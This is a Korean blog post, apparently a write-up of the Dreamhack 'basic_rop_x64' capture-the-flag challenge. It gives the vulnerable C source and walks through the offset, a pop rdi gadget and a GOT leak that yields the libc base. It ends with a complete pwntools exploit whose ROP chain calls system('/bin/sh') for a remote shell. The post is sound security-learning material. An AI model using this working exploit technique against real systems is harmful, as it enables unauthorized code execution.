Pwnable

ROP X64 -Dreamhack-

KSJ._.seven11 2023. 3. 26. 19:44

 

 

문제의 소스코드는 아래와 같다.

 

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int main(int argc, char *argv[]) {
    char buf[0x40] = {};

    initialize();

    read(0, buf, 0x400);
    write(1, buf, sizeof(buf));

    return 0;
}

보호기법을 확인하고 카나리와 별다른 함수를 호출하지 않기 때문에 패턴을 생성하여 손 쉽게 offset 을 구할 수 있다.

 

offsert = 72 == 0x48

 

이후 ROPgadget 을 탐색하고 ROP Chain 을 구성해야 한다.

 

 

pop rdi ; ret 을 가젯으로 사용하기로 했다. ##** Dreamhack 에서 pop rdi를 가장 많이 쓴다.

 

이후 strings -tx 을 활용하여 libc_base 에서 binsh 까지 offset 을 구할 수 있다.

 

 

즉 libc_base + 0x18cd57 은 /bin/sh의 주소값이 된다.

 

from pwn import * 

p = remote('host3.dreamhack.games', 11704)
e = ELF('./basic_rop_x64')
libc = ELF('./libc.so.6')


#leak lb
puts_plt = e.plt["puts"]
puts_got = e.got["puts"]
read_plt = e.plt["read"]
read_got = e.got["read"]
main = e.symbols["main"]

pop_rdi = 0x0000000000400883
pay = b'A' * 0x48
pay += p64(pop_rdi)
pay += p64(read_got)
pay += p64(puts_plt)
pay += p64(main)

해당 부분을 통해 Ret2main 공격 기법을 활용한다.

 Buf 을 꽉채우고 가젯을 활용하여 read.got 의 주소를 불러온다.

이후 main 함수로 다시 돌아간다.

 

def slog (name,addr): return success(": ".join ([name, hex(addr)]))

p.recvuntil(b"A" * 0x40)
read = u64(p.recv(6)+b'\x00'*0x2)
lb = read - libc.symbols["read"]
system = lb + libc.symbols["system"]
binsh = lb + 0x18cd57

slog("read", read)
slog("system", system)
slog("/bin/sh", binsh)

이후 추가로 코드를 삼임하여 read.got. 주소를 받아온다. 이를 통해 libc_base 을 구할 수 있으며 

 아까 구했던 /bin/sh 에 offset 을 통하여 주소또한 구할 수 있다.

이를 통하여 lb + /bin/sh 주소 system 주소 모두 구할 수 있다.

 

 

#exploit_final

payload = b'A' * 0x48
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system)

p.send(payload)

p.interactive()

 이후 다시 페이로드를 작성하여 

 

ROP 공격을 수행한다.

 

최종 exploit 코드는 아래와 같다.

from pwn import * 

p = remote('host3.dreamhack.games', 11704)
e = ELF('./basic_rop_x64')
libc = ELF('./libc.so.6')


#leak lb
puts_plt = e.plt["puts"]
puts_got = e.got["puts"]
read_plt = e.plt["read"]
read_got = e.got["read"]
main = e.symbols["main"]

pop_rdi = 0x0000000000400883
pay = b'A' * 0x48
pay += p64(pop_rdi)
pay += p64(read_got)
pay += p64(puts_plt)
pay += p64(main)

p.send(pay)

def slog (name,addr): return success(": ".join ([name, hex(addr)]))

p.recvuntil(b"A" * 0x40)
read = u64(p.recv(6)+b'\x00'*0x2)
lb = read - libc.symbols["read"]
system = lb + libc.symbols["system"]
binsh = lb + 0x18cd57

slog("read", read)
slog("system", system)
slog("/bin/sh", binsh)

#exploit_final

payload = b'A' * 0x48
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system)

p.send(payload)

p.interactive()

 

 

야호 성공이다 !!

 

드디어 ROP 공격기법을 이해했다.. 벌써 시간이 몇주나 간지 모르겠다..

 

 POP rdi 가젯이 있다면 이제 어떠한 ROP 문제도 풀 수 있을거 같다 !!!

 

드디어 ㅠㅠㅠㅠ ROP 공격기법을 100% 이해 했다고 나는 자신할 수 있다 !